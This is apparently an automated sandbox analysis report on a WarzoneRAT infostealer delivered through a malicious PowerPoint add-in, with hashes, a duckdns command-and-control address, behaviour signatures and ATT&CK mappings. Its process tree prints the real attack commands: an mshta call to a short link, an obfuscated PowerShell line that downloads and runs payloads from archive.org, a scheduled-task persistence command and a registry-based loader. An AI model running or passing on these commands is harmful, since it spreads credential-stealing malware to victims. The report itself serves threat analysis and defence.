warzonerat | 643ce9630631fdc9051b4be5b3bd9d60281885380fb2fa777379711d938c3c91

General

Target

SO-19844 EIDCO.ppam
Size

14KB
MD5

24dd86688a277a16ca013809c71ab8c0
SHA1

d3a1915ced9501a7ce269ee1ace23b4a50c8c5cd
SHA256

643ce9630631fdc9051b4be5b3bd9d60281885380fb2fa777379711d938c3c91
SHA512

89888f15eaacf0404e460830f497b2465bbaf75276e5cf5b0ae7420f50f9c00c4392479bb2cee291acbeefda71e4dd4d603b915244ed932d84608f8fc65b5119

Score

10^/10

warzonerat infostealer rat spyware stealer

Malware Config

Extracted

Family

warzonerat

C2

pstericdd.duckdns.org:9090

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	4008	740	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3868	3468	powershell.exe

WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat

Blocklisted process makes network request 18 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
15	4008	mshta.exe
17	4008	mshta.exe
19	4008	mshta.exe
21	4008	mshta.exe
23	4008	mshta.exe
25	4008	mshta.exe
27	4008	mshta.exe
29	4008	mshta.exe
32	4008	mshta.exe
34	4008	mshta.exe
37	4008	mshta.exe
38	4008	mshta.exe
39	4008	mshta.exe
40	4008	mshta.exe
41	4008	mshta.exe
43	4008	mshta.exe
45	3356	powershell.exe
50	3356	powershell.exe

Loads dropped DLL 6 IoCs

Processes:

RegAsm.exe

pid process

4056 RegAsm.exe
4056 RegAsm.exe
4056 RegAsm.exe
4056 RegAsm.exe
4056 RegAsm.exe
4056 RegAsm.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4056	RegAsm.exe
4056	RegAsm.exe
4056	RegAsm.exe
4056	RegAsm.exe
4056	RegAsm.exe
4056	RegAsm.exe

Process spawned suspicious child process 1 IoCs

This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

Processes:

DW20.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	840	740	DW20.EXE	POWERPNT.EXE

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 3356 set thread context of 4056	3356	powershell.exe	RegAsm.exe
PID 3356 set thread context of 3740	3356	powershell.exe	aspnet_compiler.exe

Drops file in Windows directory 1 IoCs

Processes:

WerFault.exe

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid pid_target process target process

3840 4008 WerFault.exe mshta.exe
3056 3740 WerFault.exe aspnet_compiler.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2000 schtasks.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

740 POWERPNT.EXE

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

pid	pid_target	process	target process
3840	4008	WerFault.exe	mshta.exe
3056	3740	WerFault.exe	aspnet_compiler.exe

pid	process
2000	schtasks.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

Processes:

POWERPNT.EXEdwwin.exepowershell.exepowershell.exeWerFault.exeWerFault.exe

pid	process
740	POWERPNT.EXE
740	POWERPNT.EXE
3676	dwwin.exe
3676	dwwin.exe
3868	powershell.exe
3868	powershell.exe
3356	powershell.exe
3868	powershell.exe
3356	powershell.exe
3356	powershell.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3840	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe
3056	WerFault.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exeWerFault.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeDebugPrivilege	3356	powershell.exe
Token: SeDebugPrivilege	3840	WerFault.exe
Token: SeRestorePrivilege	3056	WerFault.exe
Token: SeBackupPrivilege	3056	WerFault.exe
Token: SeBackupPrivilege	3056	WerFault.exe
Token: SeDebugPrivilege	3056	WerFault.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

POWERPNT.EXERegAsm.exe

pid process

740 POWERPNT.EXE
4056 RegAsm.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

POWERPNT.EXEDW20.EXEmshta.exepowershell.exe

description	pid	process	target process
PID 740 wrote to memory of 4008	740	POWERPNT.EXE	mshta.exe
PID 740 wrote to memory of 4008	740	POWERPNT.EXE	mshta.exe
PID 740 wrote to memory of 840	740	POWERPNT.EXE	DW20.EXE
PID 740 wrote to memory of 840	740	POWERPNT.EXE	DW20.EXE
PID 840 wrote to memory of 3676	840	DW20.EXE	dwwin.exe
PID 840 wrote to memory of 3676	840	DW20.EXE	dwwin.exe
PID 4008 wrote to memory of 3356	4008	mshta.exe	powershell.exe
PID 4008 wrote to memory of 3356	4008	mshta.exe	powershell.exe
PID 4008 wrote to memory of 2000	4008	mshta.exe	schtasks.exe
PID 4008 wrote to memory of 2000	4008	mshta.exe	schtasks.exe
PID 3356 wrote to memory of 4056	3356	powershell.exe	RegAsm.exe
PID 3356 wrote to memory of 4056	3356	powershell.exe	RegAsm.exe
PID 3356 wrote to memory of 4056	3356	powershell.exe	RegAsm.exe
PID 3356 wrote to memory of 4056	3356	powershell.exe	RegAsm.exe
PID 3356 wrote to memory of 4056	3356	powershell.exe	RegAsm.exe
PID 3356 wrote to memory of 4056	3356	powershell.exe	RegAsm.exe
PID 3356 wrote to memory of 4056	3356	powershell.exe	RegAsm.exe
PID 3356 wrote to memory of 4056	3356	powershell.exe	RegAsm.exe
PID 3356 wrote to memory of 4056	3356	powershell.exe	RegAsm.exe
PID 3356 wrote to memory of 4056	3356	powershell.exe	RegAsm.exe
PID 3356 wrote to memory of 3740	3356	powershell.exe	aspnet_compiler.exe
PID 3356 wrote to memory of 3740	3356	powershell.exe	aspnet_compiler.exe
PID 3356 wrote to memory of 3740	3356	powershell.exe	aspnet_compiler.exe
PID 3356 wrote to memory of 3740	3356	powershell.exe	aspnet_compiler.exe
PID 3356 wrote to memory of 3740	3356	powershell.exe	aspnet_compiler.exe
PID 3356 wrote to memory of 3740	3356	powershell.exe	aspnet_compiler.exe
PID 3356 wrote to memory of 3740	3356	powershell.exe	aspnet_compiler.exe
PID 3356 wrote to memory of 3740	3356	powershell.exe	aspnet_compiler.exe
PID 3356 wrote to memory of 3740	3356	powershell.exe	aspnet_compiler.exe
PID 3356 wrote to memory of 3740	3356	powershell.exe	aspnet_compiler.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\SO-19844 EIDCO.ppam" /ou ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:740

C:\Windows\SYSTEM32\mshta.exe
mshta http://www.bitly.com/ashjdkqodasdasdasdwdhqowdh
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia601408.us.archive.org/12/items/psteric/psteric.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia601408.us.archive.org/12/items/psteric/1.txt').GetResponse().GetResponseStream()).ReadToend());
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3356

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:4056

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
4⤵
PID:3740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3740 -s 1004
5⤵
- Drops file in Windows directory
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3056

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""BlueStacks"" /F /tr ""\""MsHtA""\""http://1230948%1230948@0v2x.blogspot.com/p/34.html\""
3⤵
- Creates scheduled task(s)
PID:2000

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4008 -s 3004
3⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3840

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE
"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 3508
2⤵
- Process spawned suspicious child process
- Suspicious use of WriteProcessMemory
PID:840

C:\Windows\system32\dwwin.exe
C:\Windows\system32\dwwin.exe -x -s 3508
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe ((gp HKCU:\Software).cookerr)|IEX
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3868

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

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Downloads

\Users\Admin\AppData\Local\Temp\freebl3.dll
MD5
ef12ab9d0b231b8f898067b2114b1bc0

SHA1
6d90f27b2105945f9bb77039e8b892070a5f9442

SHA256
2b00fc4f541ac10c94e3556ff28e30a801811c36422546a546a445aca3f410f7

SHA512
2aa62bfba556ad8f042942dd25aa071ff6677c257904377c1ec956fd9e862abcbf379e0cfd8c630c303a32ece75618c24e3eef58bddb705c427985b944689193

Download Submit
\Users\Admin\AppData\Local\Temp\mozglue.dll
MD5
75f8cc548cabf0cc800c25047e4d3124

SHA1
602676768f9faecd35b48c38a0632781dfbde10c

SHA256
fb419a60305f17359e2ac0510233ee80e845885eee60607715c67dd88e501ef0

SHA512
ed831c9c769aef3be253c52542cf032afa0a8fa5fe25ca704db65ee6883c608220df7102ac2b99ee9c2e599a0f5db99fd86894a4b169e68440eb1b0d0012672f

Download Submit
\Users\Admin\AppData\Local\Temp\msvcp140.dll
MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

Download Submit
\Users\Admin\AppData\Local\Temp\nss3.dll
MD5
d7858e8449004e21b01d468e9fd04b82

SHA1
9524352071ede21c167e7e4f106e9526dc23ef4e

SHA256
78758bf7f3b3b5e3477e38354acd32d787bc1286c8bd9b873471b9c195e638db

SHA512
1e2c981e6c0ca36c60c6e9cae9548b866d5c524df837095b30d618d9c322def7134c20de820105400dd1b58076b66d90274f67773ac6ba914f611b419babb440

Download Submit
\Users\Admin\AppData\Local\Temp\softokn3.dll
MD5
471c983513694ac3002590345f2be0da

SHA1
6612b9af4ff6830fa9b7d4193078434ef72f775b

SHA256
bb3ff746471116c6ad0339fa0522aa2a44a787e33a29c7b27649a054ecd4d00f

SHA512
a9b0fb923bc3b567e933de10b141a3e9213640e3d790b4c4d753cf220d55593ae8026102909969ba6bfc22da3b2fcd01e30a9f5a74bd14a0fdec9beaf0fb1410

Download Submit
\Users\Admin\AppData\Local\Temp\vcruntime140.dll
MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

Download Submit
memory/740-119-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/740-122-0x00000226664A0000-0x000002266758E000-memory.dmp

Filesize
16.9MB

Download
memory/740-118-0x00007FFD11D40000-0x00007FFD1391D000-memory.dmp

Filesize
27.9MB

Download
memory/740-114-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/740-123-0x00007FFD09880000-0x00007FFD0B775000-memory.dmp

Filesize
31.0MB

Download
memory/740-117-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/740-115-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/740-116-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/840-300-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/840-302-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/840-303-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/840-257-0x0000000000000000-mapping.dmp

Download
memory/840-301-0x00007FFCEFED0000-0x00007FFCEFEE0000-memory.dmp

Filesize
64KB

Download
memory/2000-270-0x0000000000000000-mapping.dmp

Download
memory/3356-297-0x000001E974BB3000-0x000001E974BB5000-memory.dmp

Filesize
8KB

Download
memory/3356-296-0x000001E974BB0000-0x000001E974BB2000-memory.dmp

Filesize
8KB

Download
memory/3356-308-0x000001E974B80000-0x000001E974B83000-memory.dmp

Filesize
12KB

Download
memory/3356-269-0x0000000000000000-mapping.dmp

Download
memory/3356-298-0x000001E974BB6000-0x000001E974BB8000-memory.dmp

Filesize
8KB

Download
memory/3356-314-0x000001E974B90000-0x000001E974B9D000-memory.dmp

Filesize
52KB

Download
memory/3676-262-0x0000000000000000-mapping.dmp

Download
memory/3740-320-0x0000000000405E28-mapping.dmp

Download
memory/3740-324-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/3868-271-0x000002445C570000-0x000002445C572000-memory.dmp

Filesize
8KB

Download
memory/3868-272-0x000002445C573000-0x000002445C575000-memory.dmp

Filesize
8KB

Download
memory/3868-268-0x000002445C7F0000-0x000002445C7F1000-memory.dmp

Filesize
4KB

Download
memory/3868-279-0x0000024474E10000-0x0000024474E11000-memory.dmp

Filesize
4KB

Download
memory/4008-254-0x0000000000000000-mapping.dmp

Download
memory/4056-313-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/4056-325-0x00000000045C0000-0x00000000046FC000-memory.dmp

Filesize
1.2MB

Download
memory/4056-326-0x0000000004790000-0x0000000004814000-memory.dmp

Filesize
528KB

Download
memory/4056-310-0x0000000000405E28-mapping.dmp

Download
memory/4056-309-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads